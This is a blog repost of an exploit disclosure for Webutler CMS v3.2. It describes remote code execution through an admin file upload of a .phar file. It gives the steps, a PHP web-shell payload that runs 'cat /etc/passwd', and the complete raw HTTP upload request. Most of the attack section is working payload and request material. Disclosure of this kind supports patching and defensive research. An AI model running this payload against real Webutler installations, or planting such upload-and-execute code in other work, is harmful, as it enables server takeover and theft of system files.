Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863105317

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Exploit Title: Webutler v3.2 - Remote Code Execution (RCE)
Application: webutler Cms
Version: v3.2
Bugs:  RCE
Technology: PHP
Vendor URL: https://webutler.de/en
Software Link: http://webutler.de/download/webutler_v3.2.zip
Date of found: 03.08.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 
1. login to account as admin
2. go to visit media 
3.upload phar file
4. upload poc.phar file

poc.phar file contents :
<?php echo system("cat /etc/passwd");?>
5. Visit to poc.phar file
poc request:

POST /webutler_v3.2/admin/browser/index.php?upload=newfile&types=file&actualfolder=%2F&filename=poc.phar&overwrite=true HTTP/1.1
Host: localhost
Content-Length: 40
sec-ch-ua: 
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
X_FILENAME: poc.phar
sec-ch-ua-platform: ""
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/webutler_v3.2/admin/browser/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: WEBUTLER=ekgfsfhi3ocqdvv7ukqoropolu
Connection: close

<?php echo system("cat /etc/passwd");?>